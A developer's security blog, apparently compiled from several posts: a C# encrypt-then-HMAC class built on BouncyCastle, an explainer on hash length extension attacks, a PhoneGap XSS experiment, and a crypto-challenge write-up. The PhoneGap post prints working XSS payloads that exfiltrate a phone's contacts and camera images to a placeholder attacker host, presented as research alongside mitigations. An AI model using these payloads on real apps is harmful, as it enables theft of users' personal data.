The Encryptanator

This was from a post on stack overflow that I made. I thought it was good enough for a blog post, very useful class if you’re a .net developer. Original post can be found on Stack Overflow Here

BouncyCastle is a great Crypto library for .NET, it’s available as a Nuget package for install into your projects. I like it a lot more than what’s currently available in the System.Security.Cryptography library. It gives you a lot more options in terms of available algorithms, and provides more modes for those algorithms.

This is an example of an implementation of TwoFish, which was written by Bruce Schneier (hero to all us paranoid people out there). It’s a symmetric algorithm like the Rijndael
(aka AES). It was one of the three finalists for the AES standard and sibling to another famous algorithm written by Bruce Schneier called BlowFish.

First thing with bouncycastle is to create an encryptor class, this will make it easier to implement other block ciphers within the library. The following encryptor class takes in a generic argument T where T implements IBlockCipher and has a default constructor.

using System;
using System.Security.Cryptography;
using System.Text;
using Org.BouncyCastle.Crypto;
using Org.BouncyCastle.Crypto.Macs;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Paddings;
using Org.BouncyCastle.Crypto.Parameters;

public sealed class Encryptor<TBlockCipher, TDigest>
    where TBlockCipher : IBlockCipher, new()
    where TDigest : IDigest, new()
{
    private Encoding encoding;

    private IBlockCipher blockCipher;

    private BufferedBlockCipher cipher;

    private HMac mac;

    private byte[] key;

    public Encryptor(Encoding encoding, byte[] key, byte[] macKey)
    {
        this.encoding = encoding;
        this.key = key;
        this.Init(key, macKey, new Pkcs7Padding());
    }

    public Encryptor(Encoding encoding, byte[] key, byte[] macKey, IBlockCipherPadding padding)
    {
        this.encoding = encoding;
        this.key = key;
        this.Init(key, macKey, padding);
    }

    private void Init(byte[] key, byte[] macKey, IBlockCipherPadding padding)
    {
        this.blockCipher = new CbcBlockCipher(new TBlockCipher());
        this.cipher = new PaddedBufferedBlockCipher(this.blockCipher, padding);
        this.mac = new HMac(new TDigest());
        this.mac.Init(new KeyParameter(macKey));
    }

    public string Encrypt(string plain)
    {
        return Convert.ToBase64String(EncryptBytes(plain));
    }

    public byte[] EncryptBytes(string plain)
    {
        byte[] input = this.encoding.GetBytes(plain);

        var iv = this.GenerateIV();

        var cipher = this.BouncyCastleCrypto(true, input, new ParametersWithIV(new KeyParameter(key), iv));
        byte[] message = CombineArrays(iv, cipher);

        this.mac.Reset();
        this.mac.BlockUpdate(message, 0, message.Length);
        byte[] digest = new byte[this.mac.GetUnderlyingDigest().GetDigestSize()];
        this.mac.DoFinal(digest, 0);

        var result = CombineArrays(digest, message);
        return result;
    }

    public byte[] DecryptBytes(byte[] bytes)
    {
        // split the digest into component parts
        var digest = new byte[this.mac.GetUnderlyingDigest().GetDigestSize()];
        var message = new byte[bytes.Length - digest.Length];
        var iv = new byte[this.blockCipher.GetBlockSize()];
        var cipher = new byte[message.Length - iv.Length];

        Buffer.BlockCopy(bytes, 0, digest, 0, digest.Length);
        Buffer.BlockCopy(bytes, digest.Length, message, 0, message.Length);
        if (!IsValidHMac(digest, message))
        {
            throw new CryptoException();
        }

        Buffer.BlockCopy(message, 0, iv, 0, iv.Length);
        Buffer.BlockCopy(message, iv.Length, cipher, 0, cipher.Length);

        byte[] result = this.BouncyCastleCrypto(false, cipher, new ParametersWithIV(new KeyParameter(key), iv));
        return result;
    }

    public string Decrypt(byte[] bytes)
    {
        return this.encoding.GetString(DecryptBytes(bytes));
    }

    public string Decrypt(string cipher)
    {
        return this.Decrypt(Convert.FromBase64String(cipher));
    }

    private bool IsValidHMac(byte[] digest, byte[] message)
    {
        this.mac.Reset();
        this.mac.BlockUpdate(message, 0, message.Length);
        byte[] computed = new byte[this.mac.GetUnderlyingDigest().GetDigestSize()];
        this.mac.DoFinal(computed, 0);

        return AreEqual(digest,computed);
    }

    private static bool AreEqual(byte [] digest, byte[] computed)
    {
        if(digest.Length != computed.Length)
        {
            return false;
        }

        int result = 0;
        for (int i = 0; i < digest.Length; i++)
        {
            result |= digest[i] ^ computed[i];
        }

        return result == 0;
    }

    private byte[] BouncyCastleCrypto(bool forEncrypt, byte[] input, ICipherParameters parameters)
    {
        try
        {
            cipher.Init(forEncrypt, parameters);

            return this.cipher.DoFinal(input);
        }
        catch (CryptoException)
        {
            throw;
        }
    }

    private byte[] GenerateIV()
    {
        using (var provider = new RNGCryptoServiceProvider())
        {
            // 1st block
            byte[] result = new byte[this.blockCipher.GetBlockSize()];
            provider.GetBytes(result);

            return result;
        }
    }

    private static byte[] CombineArrays(byte[] source1, byte[] source2)
    {
        byte[] result = new byte[source1.Length + source2.Length];
        Buffer.BlockCopy(source1, 0, result, 0, source1.Length);
        Buffer.BlockCopy(source2, 0, result, source1.Length, source2.Length);

        return result;
    }
}

Next just call the encrypt and decrypt methods on the new class, here’s the example using twofish:

    var encrypt = new Encryptor<TwofishEngine, Sha1Digest>(Encoding.UTF8, key, hmacKey);
                
    string cipher = encrypt.Encrypt("TEST");   
    string plainText = encrypt.Decrypt(cipher);

It’s just as easy to substitute another block cipher like TripleDES:

    var des = new Encryptor<DesEdeEngine, Sha1Digest>(Encoding.UTF8, key, hmacKey);

    string cipher = des.Encrypt("TEST");
    string plainText = des.Decrypt(cipher);

Finally if you want to use AES with SHA256 HMAC you can do the following:

    var aes = new Encryptor<AesEngine, Sha256Digest>(Encoding.UTF8, key, hmacKey);

    cipher = aes.Encrypt("TEST");
    plainText = aes.Decrypt(cipher);

The hardest part about encryption actually deals with the keys and not the algorithms. You’ll have to think about where you store your keys, and if you have to, how you exchange them. These algorithms have all withstood the test of time, and are extremely hard to break. Someone who wants to steal information from you isn’t going to spend eternity doing cryptanalysis on your messages, they’re going to try to figure out what or where your key is. So #1 choose your keys wisely, #2 store them in a safe place, if you use a web.config and IIS then you can encrypt parts of the the web.config, and finally if you have to exchange keys make sure that your protocol for exchanging the key is secure.



Salted Length Extensions….

Today I’m writing about the length extension attack. It could be used in many applications so I felt that developers who are reading this blog should get to know how this works.

The Scenario

You have a site that allows users to upload files and make them available to their customers. When a user logs in to view resources you give these users access to certain folders on your site and place it in a cookie. You decide that the cookie should have a signature for security 😉 .

A_RESOURCE,B_RESOURCE;TimeStamp;Signature

The signature is a salted sha1 hash of the resource in the following format.

Signature = SHA1(KEY||PERMISSIONS)

Before showing the user a file you verify that they have access to the resource by calculating the signature and then verify that the signature matches what they passed to you in the cookie.

Now why would you do this instead of encrypting the whole damn thing? Simple… Encryption does not provide integrity, meaning from a programming standpoint it’s safer. Because if an encrypted cookie is tampered with your application can fail in the decryption throwing, exceptions and access violations. I have seen this lead to other notorious things like buffer overruns. Hashing data that is passed, even if tampered with is much safer than decrypting a value that has been tampered with. If you need confidentiality (meaning something in the cookie is secret) then by all means encrypt the cookie, you’ll still however need a MAC to validate the cookie (see Padding oracle attack against ASP.NET).

The Problem With The Approach

Lets look at a generic hash function….we’ll call it H. Pretend it’s this fantastic function below.

statemachine

It’s very simple you see it takes some fixed length doodoo in and spits some fixed length doodoo out, the same input value will always have the same corresponding output value AND I know exactly how long that output is going to be every single time.

One Problem!
My hash function operates on fixed lengths (blocks), this isn’t going to work…we need it to work on arbitrary lengths. Now how do we achieve this? Well the Merkle–Damgård construction (MD5,SHA1,SHA2) splits our hash function into multiple steps, it operates on fixed length blocks chained together.

merkledamgard

There are two inputs, our block and the hash of the previous block. For The first block there is an initialization vector which just gives you a starting point. By looking at this picture it’s easy to see that this construction is a simple state machine. You can take any of the outputs from any of the blocks and you will get the internal state of that machine.

Warning ::robot voice:: The following descriptions are an oversimplification of this problem. They are meant only as a description, please don’t try this at home. ::end robot voice:: End Warning

What does this mean my nerdy friend?
Lets pretend that my hash function operates on blocks of characters and not blocks of bytes. Lets also pretend that a single block is the length of 1 character. My Hash function H now has two inputs to generate its output. Therefore:

H(IV,ABC) = H(H(IV,AB),C)

If I were to do the hash of AB and ABC the internal state would be exactly the same until the last letter (C) is processed (makes sense right?)

Lets look at that cookie again

Lets say your user logged in and they only have access to A_RESOURCE.

A_RESOURCE;TimeStamp;Signature

Lets pretend that user turns out to be malicious, they want some free shit like B_RESOURCE. What can they do? Well if they know the salt (key) then no problem, but we’re going to assume your attacker doesn’t have access to the key. If they do then you have bigger problems and you should stop reading right about now and go try to figure out WTF happened to your shit.

My attacker wants to get access to B_RESOURCE so they need to generate a signature without knowing what the key is. Now Remember the previous formula.

H(IV,ABC) = H(H(IV,AB),C)

Treat our current signature as our hash functions internal state. So therefore:

H(IV,KEY||A_RESOURCE||B_RESOURCE) = H(H(IV,KEY||A_RESOURCE),B_RESOURCE)

In other words

NewSignature = H(Signature,B_RESOURCE)

Relax It’s Not Exactly That Simple

Before you go freaking out…It’s not exactly that simple, you’re not going to just take your signature and add your B_RESOURCE to it. This attack only works if your signature is in a certain format, for example this wouldn’t always* work if the signature incorporated the timestamp at the end of the hash like so:

Signature = H(KEY||A_RESOURCE||TimeStamp)

Because it would be difficult to generate a message with the new permissions in the middle.

Signature = H(KEY||A_RESOURCE||B_RESOURCE||TimeStamp)

You also need to know how long the salt is to construct your new message because you need to know how much padding was added, but this isn’t particularly difficult to find out (trial and error). This attack is called the length extension attack, and regardless of how simple or complex it is there are tools out there that allow attackers to perform length extension attacks against your application. It’s not beyond a determined attacker to do so, especially if you have data that has some value.

This won’t happen to me…

Oh Ye of little faith…. It happened to Flickr… nuff said…

The Fix

There are a lot of crappy solutions to this problem and a good solution. I’m just going to give you the good solution and it’s really simple… Don’t use a straight up hash function with salt, instead use the HMAC construction of that hash function. HMAC is resistant to the length extension attack as well as other problems that plague these cryptographic hash functions…. and guess what! It’s made specifically for this type of scenario, so why reinvent the wheel? There are many libraries that use the HMAC construction and if you use the .NET framework for your work you can simply use the HMAC construction available within the System.Security.Cryptography library. SHA3 (Keccak) is also resistant to the length extension attack without the HMAC construction, but it’s relatively new (it was accepted as the standard in October 2012) so it will take a little time before it’s adopted in libraries out there.


*Putting something at the end wouldn’t always work but in some cases and with some of the development practices out there it is plausable that you could extend the message after the timestamp and it would still result in a valid signature and permissions. You’ve been warned…



PhoneGap XSS Vulnerabilities Visited

This post is about some research I did a couple of years ago on PhoneGap. PhoneGap is a mobile development framework utilizing HTML CSS and JavaScript.

The Problem

There are a number of mobile development platforms, Objective C/iOS, Java/Android, C#/Windows, Partridge/Pear Tree etc.. For many developers the differences in programming languages and platforms cause roadblocks in developing phone apps. For example, I am mainly a C# developer on the .NET Stack, and while there are many similarities between Java and C# moving away from C# to develop for Android is a hindrance. It’s not so much as a problem of language as much as it’s a problem of platform.

Many developers themselves don’t know the difference. Take for example Java as a language, I know Java as a language however I am not as fully aware of all the patterns, practices, packages etc.. that are available on the Java platform, and you only really get when you develop on that platform. Thus reading Java is fairly easy for me, but writing an application from scratch is more difficult.

The second issue is that Mobile web has a lot of limitations. For example you cannot access device functionality, and you must be connected to the internet. And most of all you don’t get the same experience, as you do when utilizing a native application though there have been many strides in this area.

The Goal

The goal is to converge towards a single platform. This has not been easy as each of the platform makers has an interest in keeping developers solely on their platform. Apple for example doesn’t want developers re-compiling their Android applications and have them work on iOS. The reason’s for this are obvious and understandable, each of the phone platforms would like a competitive advantage in having the most developers, and each would like to have apps in their ecosystem first.

The Solution

Convergence has taken two different roads. The first are platforms that centralize code into libraries and make those libraries accessible through front-end platforms. The main player in this arena is Xamarin. Xamarin is a platform that allows you to develop using C# and utilize your Xamarin application to deploy phone apps on iOS, Android and Windows. Xamarin utilizes an MVC framework (Model, View, Controller). The MVC Framework is notable here because it allows Xamarin to re-use business logic code to display different views which become your different phone applications (this is a little over simplification). So you write your code once, and then create different views for your different applications. The draw back here is that realistically (I may get in trouble for saying this) Xamarin doesn’t do much for you as long as you build your application correctly. What I mean is that the majority of your code should be in your data-services anyway and therefore your phone application is really just your presentation (view logic) which should be minimal. So unless you’re writing an application where the phone app is doing a lot of processing locally, Xamarin will not help much.

The other approach to a single development ecosystem is utilizing HTML, CSS and JavaScript. HTML is used for structure and organization, CSS for design, and JavaScript for everything else! And a lot of companies have jumped on this bandwagon.


mobilehtmlcompanies

(Yeah I know some of these companies have gone under but WTF did you expect? I told you I did this research a couple of years ago)

JavaScript! WOOOO!!

Lets setup the situation here…

Notice: I just want to let everyone know I love JavaScript, I think it’s a fantastic language. It has been the language I have used consistently the longest (for 17 years). I’ve been writing JavaScript since you called it Java. So all you JavaScript puritans that are reading this, please take it lightly.

JavaScript is a confused language! In some ways JavaScript is an object oriented language, but then in other ways it’s a functional language like LISP (maybe not like LISP but you get what I mean).

JavaScript is Prototype Based. The key thing to know about JavaScript is that everything is an object (EVERYTHING!). Meaning that your functions are also objects and can be passed around like other objects (Delegates anyone? eh? eh?). Because everything is treated as an object (forgive me if I’m oversimplifying), you can override pretty much anything you want. For example the following is completely valid.

var alert = function(m){ console.log(m) }

Even though alert is a per-defined method in JavaScript we’ve now given it new meaning. Another important thing is there is an All Powerful “eval” method. This method can allow us to execute arbitrary code at runtime by passing a string of JavaScript code into it. This is going to be very important later on.

Cross Site Scripting (XSS)

Lets talk about XSS, because this is a very confusing topic to most developers. Many times developers don’t even think that XSS is a problem for them, it’s their users fault of their users for clicking a link they shouldn’t have. Well… what I’ll show you is that XSS can mess you up pretty bad if you’re not careful.

XSS utilizes security vulnerabilities in web applications to execute client-side code (JavaScript) on the end-users machine. Many times XSS vulnerabilities come on top of other vulnerabilities which we will discuss partially. There are two primary methods of XSS and we’ll discuss here.

Active (Reflected) Attack

In an active attack, the user must take some action for an XSS attack to occur. For example if we have a page that’s known to be vulnerable to an XSS attack and we know a particular person is a user of said application you can send them a link with the active attack hidden within the link.
For example http://itrustthissite.com?name=.

Passive (Persisted) Attack

Passive attacks are much more dangerous and are typically used in conjunction with SQL Injection attacks. The reason they’re so much more dangerous is that they don’t rely on the user to take any action other than visiting the infected site. Typically data that’s stored in a data store is poisoned with the client-side script, and is rendered when the user logs into the site. Scripts will execute automatically and in most cases run in the background without the user even knowing this.

Still don’t think XSS is a big deal?

The following graph shows percentage of vulnerabilities in web applications today. XSS constitutes the largest share of the pie. Besides this, I’m going to show you how XSS can really mess you up when using a JavaScript framework for your mobile phone app.


percentvulnerabilities

(Source: The Web Application Security Consortium / Web Application Security Statistics)

Same-Origin Policy

The Same Origin policy restricts developers ability to make cross-domain requests. If a developer wants to access a resource, it must be on the same domain (including the same sub-domain). AJAX Requests can only be made to the same domain. You cannot access the DOM of a frame that is part of another domain. This is somewhat deffective against client-side stealing of data via XSS vulnerabilities however it’s much more effective at annoying web developers than deffending against client side stealing.

…As with all things there are ways around

Certain tags don’t follow the same-origin policy, so if these are injected into the DOM at run-time they will not follow the Same-Origin Policy. This is the same concept that is used in JSON with padding (JSONP). Basically you just inject a script tag at run-time to another domain and return data, the other domain will “pad” the result with a call back method.

Example Javascript

<script src=“…example.php?callback=alert”></script>

Example PHP Script

<? echo $.GET[“callback”] . “(‘hello world’)”; ?>

result

alert('hello world')

 

Because HTML,CSS and JavaScript based frameworks run on your phone they can’t necessarily follow the same-origin policy, the main reason is that it needs to call out to your API’s to get data and guess what! Your API’s are not on the phone, so you need the ability to call out to get the data…

PhoneGap Framework

PhoneGap was acquired by Adobe. Basically what it does is provides a single base class to inherit from, this is your “launcher”. It launches an initial HTML file (typically just index.html). And most of your development is done through HTML, CSS and JavaScript. Now to be clear, PhoneGap has stated in their documentation that apps running the framework can be vulnerable to XSS but that it’s the developers job to ensure their application is secure. While I agree that developers absolutely need to secure their applications, I think that platform companies should provide some base security in their platforms.

With PhoneGap access to the phone’s hardware is done through a JavaScript API.

The goals of my experiment were as follows:

  • See if it’s possible to run JavaScript remotely from within phonegap
  • See if it’s possible to access the phone’s functionality remotly
  • See if it’s possible to launch an XSS attack to mine personal data from the phone and send them to a third party.
NOTICE! Do not ever do this in a production environment, nor on a live application. The following is an experiment I had done locally on my machine and my own phone in a very controlled environment. You’ve been warned.

The Site

I decided to setup a fake site (NerdyWall). Basically it’s just a simple ASP.NET MVC website that allows front-end users to post to a “wall”. I turned off request validation to the site to allow HTML within the post, but I did not check for XSS. And if you think this doesn’t happen know that this exact situation happened to StackOverflow.com that’s why you now use their tags to format your posts.

nerdywall

The App

I created an app that simply used the NerdyWall website API to get data. I used JQuery’s $.ajax method to load data from the site into a div tag on the app. Data was not validated for XSS, and controller does not encode wall posts.

App.java

package com.phonegap.helloworld;

import android.app.Activity;
import android.os.Bundle;
import com.phonegap.*;

public class App extends DroidGap {
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        super.loadUrl("file:///android_asset/www/index.html");
    }
}

index.html

<!DOCTYPE HTML>
 <html>
 <head>
 <title>Nerdy Wall</title>
 <link rel="stylesheet" href="http://code.jquery.com/mobile/1.0/jquery.mobile-1.0.min.css" />
 
 <script type="text/javascript" charset="utf-8" src="phonegap-1.2.0.js"></script>
 <script type="text/javascript" src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.7.1.min.js"></script>
 <script src="http://code.jquery.com/mobile/1.0/jquery.mobile-1.0.min.js"></script>
  
 <script type="text/javascript">
 	document.addEventListener("deviceready", onDeviceReady, false);
 	 	
	function onDeviceReady() {        	        
	} 	    
	 
	var getPage = function()
	{
		$.mobile.showPageLoadingMsg();	
		var page = $(this).attr('data-page')
		
		$.ajax({ 
		  type: "GET", 
		  url: "http://www.nerdywall.com/home/data?page=" + page, 
		dataType: "html" ,
		  success: function(d){
		  	$('#returned-information').html(d);
		  	afterAjax();
		  	$.mobile.hidePageLoadingMsg();   
		  }
		}); 
	}
	var afterAjax = function(){
		$('input[type=button]').button();
	  	$('ul').listview();		
	}
	
	$(function(){
		$('.get-page').live('click', getPage);
		$('.details-link').live('click', function(a){
			a.preventDefault();
			var url = $(this).attr('href');
			$.mobile.showPageLoadingMsg();	
			$.ajax({ 
				type: "GET", 
				url: url, 
				dataType: "html" ,
				success: function(d){
					$('#returned-information').html(d);
					afterAjax(); 			
					$.mobile.hidePageLoadingMsg();  
			  	}
			}); 		
		}); 
		
		$.mobile.showPageLoadingMsg();
		$.ajax({ 
			type: "GET", 
			url: "http://www.nerdywall.com/home/data", 
			dataType: "html" ,
		  	success: function(d){
		  	$('#returned-information').html(d);
		  	afterAjax();
		  	$.mobile.hidePageLoadingMsg();   
		  }
		}); 
	});
 </script>
 <meta name="viewport" content="width=device-width, initial-scale=1"> 

 </head>
 <body>
 <div data-role="page" data-title="Nerdy App">  
 	<div data-role="header" data-theme="b" data-position="fixed">
 	<h1>Nerdy Wall App</h1>
 	</div> 
	<div id="returned-information" data-theme="c">
	</div> 
	<div data-role="footer">
	</div> 
</div> 
 </body>
 </html>

The offending code is the following:

$.ajax({ 
	type: "GET", 
	url: "http://www.nerdywall.com/home/data", 
	dataType: "html" ,
  	success: function(d){
  	$('#returned-information').html(d);
  	afterAjax();
  	$.mobile.hidePageLoadingMsg();   
  }
}); 

Because the dataType here is set to HTML jquery will parse the result. Which means any javascript that’s returned will be exdecuted.

The Evil Maliciousness

eyes

The site’s XSS vulnerabilities are exploited by uploading an script that calls PhoneGap’s API. The script specifically steals the users contacts from the users of Nerdy App and sends them to a third party.

The post below simply gets all the contacts when the device is ready, and sends them to a third party.

var sendContacts = function(contacts)
{
        for (var i=0; i<contacts.length; i++) {       
		$.getJSON('http://{IP-OF-MALICIOUS-PAGE}/home/post?displayname=' + contacts[i].displayName);
        }
}

var checkContacts = function(){
	var options = new ContactFindOptions();        
	options.filter="";         
	var fields = ["displayName", "name"];        
	navigator.contacts.find(fields, sendContacts);   
}

document.addEventListener("deviceready", checkContacts, false);

The Result

For my experiment all contacts were stolen off the phone without a problem. The main conclusion here is that XSS can be incredibly dangerous on the phone utilizing these frameworks, even more so than on a website. I also ran an experiment to override a camera button action that took a picture and sent it to the third party site, again without a problem.

var sendPicture = function(imageData)
{
	$.post('http://{IP-OF-MALICIOUS-PAGE}/remotescripting/home/postpicture', {encodedPicture: imageData});
}

var checkPicture = function(){
	navigator.camera.getPicture(sendPicture, onFail, {quality: 25}); 
}

function onFail(message) {
    alert('Failed because: ' + message);
}

document.addEventListener("deviceready", checkPicture, false);

Oh Shit, what can I do?

With respect to XSS Vulnerabilities, obviously you need to make sure that as much as possible try to mitigate against XSS vulnerabilities ie. don’t allow users to post HTML to your site and/or your applications. If you do allow users always verify the HTML that’s posted, there are a lot of libraries out there. If you use the .NET Platform for your API’s and/or web front-ends you can check out the Microsoft Anti-XSS Library http://msdn.microsoft.com/en-us/security/aa973814.aspx.

If you use PhoneGap for your application development always remember to use PhoneGap’s domain whitelist feature http://docs.phonegap.com/en/2.3.0/guide_whitelist_index.md.html, this will restrict which domains your application can call out to which will go a long way. This feature isn’t on by default which I personally think is a mistake, but at the very least it’s there.

I didn’t check other frameworks such as RhoElements, WebOS or WIN JS, they may have the same vulnerabilities but regardless you should work carefully to ensure your applications aren’t susceptible to these types of attacks.

Good luck!



How I beat Crypto Challenge 3

For the 2013 GRRCon Crypto Challenge 3 we were given an image that needed to be decrypted, there were multiple levels and the final code could be used to get a free ticket to the conference.


Crypto Challenge 3

Crypto Challenge 3

The first level was probably the toughest part. While looking at it during lunch, a friend of mine and I noticed that it was braille. We went through and converted the first few letters and I noticed that the words IBMIsTheDevil were in there. The challenge with this part was that if you make a single mistake in the translation you would not know exactly where that mistake was without going through the entire image over again. I first tried to decode it by hand, that became annoying quick, so I looked to see if there was some OCR software out there for reading braille. Luckily for me I have a good friend of mine that has a PHD in image processing, unfortunately for me he told me he doesn’t know of any software that could OCR braille.

Take 2


braille-big
After failure to find a good OCR software I decided to write a rudimentary OCR software myself. Things to notice, #1 The image can be split up into blocks of equal size. #2 The only value that matters was to get what was at the center of the circle. The image to the right shows a blown up version of a single letter. To perform OCR I simply created a C# application that would sample the center pixle of each dot and create an array of Boolean values, if the pixle was black it value was true, if it was white value was false.� Note: I did have to convert the gif to a PNG.

After creating the array simply check them against the known braille alphabet.

WARNING: The code I’m showing was just for this one task and was built in approximately 2 hours without any testing, it is not meant in any way shape or form to be used in a production environment or for any other task.

BrailleReader.cs
You’ll need to add a reference to system.drawing.

    class BrailleReader
    {
        private Bitmap image;
        int col, row;
        Point lastPoint;

        bool capital = false;
        bool number = false;

        Color Black = new Color();

        private Dictionary&lt;int[], string&gt; translate;

        public BrailleReader()
        {
            col = 0;
            row = 0;
            this.Black = Color.FromArgb(4, 2, 4);

            // setup dictionary
            translate = new Dictionary&lt;int[], string&gt;();
            translate.Add(new int[] { 0 }, "a");
            translate.Add(new int[] { 0, 1 }, "b");
            translate.Add(new int[] { 0, 3 }, "c");
            translate.Add(new int[] { 0, 3, 4 }, "d");
            translate.Add(new int[] { 0, 4 }, "e");
            translate.Add(new int[] { 0, 1, 3 }, "f");
            translate.Add(new int[] { 0, 1, 3, 4 }, "g");
            translate.Add(new int[] { 0, 1, 4 }, "h");
            translate.Add(new int[] { 1, 3 }, "i");
            translate.Add(new int[] { 1, 3, 4 }, "j");
            translate.Add(new int[] { 0, 2 }, "k");
            translate.Add(new int[] { 0, 1, 2 }, "l");
            translate.Add(new int[] { 0, 2, 3 }, "m");
            translate.Add(new int[] { 0, 2, 3, 4 }, "n");
            translate.Add(new int[] { 0, 2, 4 }, "o");
            translate.Add(new int[] { 0, 1, 2, 3 }, "p");
            translate.Add(new int[] { 0, 1, 2, 3, 4 }, "q");
            translate.Add(new int[] { 0, 1, 2, 4 }, "r");
            translate.Add(new int[] { 1, 2, 3 }, "s");
            translate.Add(new int[] { 1, 2, 3, 4 }, "t");
            translate.Add(new int[] { 0, 2, 5 }, "u");
            translate.Add(new int[] { 0, 1, 2, 5 }, "v");
            translate.Add(new int[] { 1, 3, 4, 5 }, "w");
            translate.Add(new int[] { 0, 2, 3, 5 }, "x");
            translate.Add(new int[] { 0, 2, 3, 4, 5 }, "y");
            translate.Add(new int[] { 0, 2, 4, 5 }, "z");

        }

        public void Process(string path, int columns)
        {
            if (!File.Exists(path))
            {
                return;
            }

            using (image = new Bitmap(path))
            {
                for (int i = 0; i &lt; 28; i++)
                {
                    col = 0;
                    this.lastPoint = new Point(0, i * 50);

                    while (col &lt; columns)
                    {
                        var result = GetNextLetter();
                        Console.Write(result);
                        col++;
                    }
                }
            }
        }

        private string GetNextLetter()
        {
            bool[] brailleCode = new bool[6] { false, false, false, false, false, false };

            Rectangle section = new Rectangle(FindNext(), new Size(17, 27));

            Bitmap bmp = new Bitmap(section.Width, section.Height);
            Graphics g = Graphics.FromImage(bmp);

            g.DrawImage(this.image, 0, 0, section, GraphicsUnit.Pixel);

            brailleCode[0] = bmp.GetPixel(3, 3) == this.Black;
            brailleCode[1] = bmp.GetPixel(3, 13) == this.Black;
            brailleCode[2] = bmp.GetPixel(3, 23) == this.Black;
            brailleCode[3] = bmp.GetPixel(13, 3) == this.Black;
            brailleCode[4] = bmp.GetPixel(13, 13) == this.Black;
            brailleCode[5] = bmp.GetPixel(13, 23) == this.Black;

            string result = FindString(brailleCode);

            return result;
        }

        private string FindString(bool[] brailleCode)
        {
            string result = string.Empty;

            foreach (var item in this.translate)
            {
                result += GetString(brailleCode, item.Key, item.Value);
            }

            if (GetString(brailleCode, new int[] { 2, 3, 4, 5 }, "NUMBER") != string.Empty)
            {
                number = true;
                return string.Empty;
            }
            else if (GetString(brailleCode, new int[] { 4, 5 }, "STOP") != string.Empty)
            {
                number = false;
                return string.Empty;
            }

            if (GetString(brailleCode, new int[] { 5 }, "UPPER") != string.Empty)
            {
                this.capital = true;
                return string.Empty;
            }

            if (number &amp;&amp; result != string.Empty)
            {
                result = ConvertToNumber(result);
            }

            if (capital)
            {
                result = result.ToUpper();
                capital = false;
            }

            return result;
        }

        private string ConvertToNumber(string value)
        {
            value = value.ToLower();
            switch (value)
            {
                case "j":
                    value = "0";
                    break;
                case "a":
                    value = "1";
                    break;
                case "b":
                    value = "2";
                    break;
                case "c":
                    value = "3";
                    break;
                case "d":
                    value = "4";
                    break;
                case "e":
                    value = "5";
                    break;
                case "f":
                    value = "6";
                    break;
                case "g":
                    value = "7";
                    break;
                case "h":
                    value = "8";
                    break;
                case "i":
                    value = "9";
                    break;
                default:
                    return string.Empty;
            }

            return value;
        }

        private Point FindNext()
        {
            int x = lastPoint.X + 7;
            int y = lastPoint.Y + 7;

            lastPoint.X = x + 23;
            return new Point(x, y);
        }

        public string GetString(bool[] brailleCode, int[] indexes, string letter)
        {
            for (int i = 0; i &lt; brailleCode.Length; i++)
            {
                if ((brailleCode[i] &amp;&amp; !indexes.Contains(i)) || (indexes.Contains(i) &amp;&amp; !brailleCode[i]))
                {
                    return string.Empty;
                }
            }

            return letter;
        }
    }

Program.cs

    class Program
    {
        static void Main(string[] args)
        {
            BrailleReader reader = new BrailleReader();
            reader.Process(args[0], 17);
        }
    }


crypto3-screenshot

Success!
IBMisthedevild51feacaa3d01e8a70d10b580c1cb9b0557899dbc086e5182c1eb8ed9845823aee907f7ce41448a7649355c087d705fc6ff9fcb97582e0d74735d8cdd73810db961d7ed547d04850c39e7e196a1e88e3d43e55cb4712bf073a10aab690ce98e0560237963558f9e0e2f6643aa585317b487a4258606adb24d5208ce8d689d73a3d952f6cf34c2dcec55d96b035a3c687ee0ad0357e5c0586

Stage 2 – Break the Cipher

The IBM is the devil part lead me to DES. If you study the history of cryptography you know is related to the Lucifer algorithm which later became DES. Just as a little background, DES is essentially the same algorithm as Lucifer except the S-Boxes (Substitution Boxes) were given to IBM by the NSA as well as a reduction of the key size from 128 bits to 56 bits. DES was the gold standard for encryption algorithms through even the 1990′s because of it’s resistance to cryptanalysis techniques that were being discovered. So using an online tool to decrypt DES I began guessing passwords, Lucifer was one of the first guesses I took and it partially worked.


crypto3-screenshot2

You’ll notice that the readable characters are 8 characters, a char is typically 8 bits in ASCII which in this case would mean 8 Characters * 8 Bits = 64 bits. 64 bits is exactly 1 block for DES. Typically when you’re encrypting you’d want to use CBC mode (or better), which stands for cipher block chaining. CBC means that once a block is encrypted, that result is XORed with the next block to give you an avalanche effect over your entire cipher text rather than just over a single block. Because only the first block of cipher text was decrypted that lead me to believe that the mode was not CBC but ECB (Electronic Code Book). In ECB mode each block is encrypted separately, it’s not recommended to ever use this mode in a production setting.

Switching to ECB Mode the following was the result.


crypto3-screenshot3

Stage 3 – All Out War

It seems that the writer of this challenge really loved crypto history. Archduke Franz Ferdinand was a royal from Austria who’s assassination set off World War I, again if you’re a student of cryptography you know that World War I was huge for cryptography. So now the challenge was to #1 figure out which algorithm was being used, and #2 figure out the key. At the time the state of the art were transposition ciphers, these were used by both the Allies as well as the Axis powers. I worked through a few ciphers but I was hell bent on ADFGVX, which I couldn’t get to work no matter how much I tried. Then I realized it was a little known cipher called Übchi, which was used by the Germans around that time. Now for that key… I noticed that there was a game on the GRRCon website (this was my first year going so I didn’t have any knowledge of the game before hand), game was called Hacker Feud… so I tried it and….

JayZis1337:u537h15pr0m0c0d370cl41my0ur71ck37:1fy0ur3h4v1n6l0ckp1ck1n6pr0bl3m51f33lb4df0ry0u50n160799l0ckp1ck5bu71ju57n33d1

Stage 4 – Free Ticket

Simply copy and paste the code 1fy0ur3h4v1n6l0ckp1ck1n6pr0bl3m51f33lb4df0ry0u50n160799l0ckp1ck5bu71ju57n33d1 into eventbright and I got myself 1 free ticket! So… if you’re having lock picking problems I feel bad for you son, I got 99 lock picks but I just need 1!



Goodbye world!

Hello World has officially been pwned!